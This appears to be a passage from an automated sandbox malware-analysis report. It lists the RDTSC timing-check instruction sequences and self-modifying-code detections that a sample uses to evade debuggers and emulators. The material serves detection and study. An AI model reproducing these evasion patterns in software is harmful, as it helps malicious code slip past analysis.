Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8298AA second address: 8298AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8298AE second address: 8298B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8298B8 second address: 8298BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8298BC second address: 8298DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F648517316Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jbe 00007F6485173166h 0x00000015 pop ebx 0x00000016 ja 00007F648517316Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82A06E second address: 82A098 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6484B58654h 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6484B5864Ch 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 7EBB61 second address: 7EBB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 7EBB65 second address: 7EBB83 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6484B5864Dh 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 7EBB83 second address: 7EBB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 7EBB87 second address: 7EBB8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82A494 second address: 82A4A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F6485173166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82A4A0 second address: 82A4A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82A4A7 second address: 82A4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F648517316Fh 0x00000009 popad 0x0000000a jmp 00007F648517316Fh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82A4D2 second address: 82A4DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82A4DA second address: 82A4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F648517316Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82ACC1 second address: 82ACCB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 836496 second address: 8364D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jnp 00007F6485173166h 0x0000000c jmp 00007F6485173175h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F6485173172h 0x00000018 push edi 0x00000019 pop edi 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8364D9 second address: 8364E3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8364E3 second address: 8364E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8364E9 second address: 8364FD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6484B58646h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F6484B5864Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 835CCA second address: 835CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 835FC6 second address: 835FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8362F6 second address: 8362FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8362FA second address: 836331 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6484B58657h 0x0000000f js 00007F6484B5864Eh 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 839885 second address: 83988A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83988A second address: 839890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 839890 second address: 83989D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 839B07 second address: 839B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83A58D second address: 83A593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83A6DA second address: 83A6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83A8F9 second address: 83A911 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83A911 second address: 83A927 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6484B5864Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83A927 second address: 83A92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83A92B second address: 83A935 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83AB19 second address: 83AB1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83B04F second address: 83B099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, ax 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F6484B58648h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b cld 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f jmp 00007F6484B58650h 0x00000034 pop eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jno 00007F6484B58646h 0x0000003d rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83CC19 second address: 83CC1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83E210 second address: 83E228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6484B5864Fh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83E228 second address: 83E289 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F6485173176h 0x00000011 nop 0x00000012 clc 0x00000013 push 00000000h 0x00000015 xor dword ptr [ebp+12477256h], eax 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F6485173168h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov di, ax 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 je 00007F6485173166h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83F845 second address: 83F8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6484B58656h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F6484B58648h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 movsx edi, dx 0x00000029 push 00000000h 0x0000002b mov edi, dword ptr [ebp+122D33D4h] 0x00000031 add di, FB28h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F6484B58648h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 xchg eax, ebx 0x00000053 pushad 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8421B3 second address: 8421C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnp 00007F6485173166h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84312E second address: 84314F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58659h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84314F second address: 843153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 843153 second address: 84319B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F6484B58648h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jnc 00007F6484B58647h 0x00000028 xor dword ptr [ebp+1247CA8Bh], eax 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 and edi, dword ptr [ebp+122D2AD6h] 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84319B second address: 8431A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8431A0 second address: 8431AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6484B58646h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 846825 second address: 84682A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84682A second address: 846830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 846830 second address: 846844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d js 00007F6485173166h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8478AD second address: 8478B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8478B1 second address: 8478B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8478B5 second address: 8478CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F6484B5864Ch 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8478CF second address: 8478D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84A765 second address: 84A76F instructions: 0x00000000 rdtsc 0x00000002 js 00007F6484B5864Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83D4FB second address: 83D4FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84A76F second address: 84A7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F6484B58648h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov edi, dword ptr [ebp+122D2B5Ah] 0x00000027 push 00000000h 0x00000029 mov bx, F900h 0x0000002d push 00000000h 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jg 00007F6484B58648h 0x00000038 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84A7AB second address: 84A7C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F6485173166h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 jmp 00007F648517316Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84C723 second address: 84C763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F6484B5864Bh 0x0000000a popad 0x0000000b nop 0x0000000c call 00007F6484B58657h 0x00000011 pop ebx 0x00000012 push 00000000h 0x00000014 movzx ebx, cx 0x00000017 push 00000000h 0x00000019 mov di, 171Ah 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F6484B58648h 0x00000026 push eax 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8506A1 second address: 8506A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8506A7 second address: 8506F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b or bh, 00000008h 0x0000000e push 00000000h 0x00000010 mov ebx, dword ptr [ebp+122D2DE2h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F6484B58648h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D37F9h], ebx 0x00000038 xchg eax, esi 0x00000039 jng 00007F6484B58652h 0x0000003f jl 00007F6484B5864Ch 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 85162E second address: 851632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 851632 second address: 851638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 851638 second address: 85163E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 85163E second address: 8516E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F6484B58650h 0x00000011 nop 0x00000012 xor edi, 3A5C3F85h 0x00000018 jmp 00007F6484B58652h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007F6484B58648h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D20D9h], edi 0x0000003f call 00007F6484B58653h 0x00000044 mov dword ptr [ebp+122D3AC7h], ebx 0x0000004a pop ebx 0x0000004b push 00000000h 0x0000004d jg 00007F6484B58646h 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F6484B58659h 0x0000005c rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8516E3 second address: 85170A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F6485173168h 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83EAFA second address: 83EB0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B5864Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 83F5CE second address: 83F5E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F648517316Bh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d jc 00007F648517316Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 840BD7 second address: 840BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8422DF second address: 8422E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8422E5 second address: 8422F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B5864Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8422F5 second address: 842322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F648517316Ch 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 842322 second address: 8423BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F6484B58646h 0x00000009 jmp 00007F6484B58657h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 mov dword ptr [ebp+124500E5h], edi 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov ebx, 735716C9h 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b add dword ptr [ebp+122D182Bh], ebx 0x00000031 mov eax, dword ptr [ebp+122D1135h] 0x00000037 push 00000000h 0x00000039 push edx 0x0000003a call 00007F6484B58648h 0x0000003f pop edx 0x00000040 mov dword ptr [esp+04h], edx 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc edx 0x0000004d push edx 0x0000004e ret 0x0000004f pop edx 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D253Fh], esi 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push ebp 0x0000005c call 00007F6484B58648h 0x00000061 pop ebp 0x00000062 mov dword ptr [esp+04h], ebp 0x00000066 add dword ptr [esp+04h], 00000014h 0x0000006e inc ebp 0x0000006f push ebp 0x00000070 ret 0x00000071 pop ebp 0x00000072 ret 0x00000073 mov bl, dh 0x00000075 push eax 0x00000076 jng 00007F6484B58658h 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8423BB second address: 8423BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 84336F second address: 843374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 846A7F second address: 846A85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFF748 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFF83A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFD4FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D27F2F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Special instruction interceptor: First address: 68EC64 instructions caused by: Self-modifying code
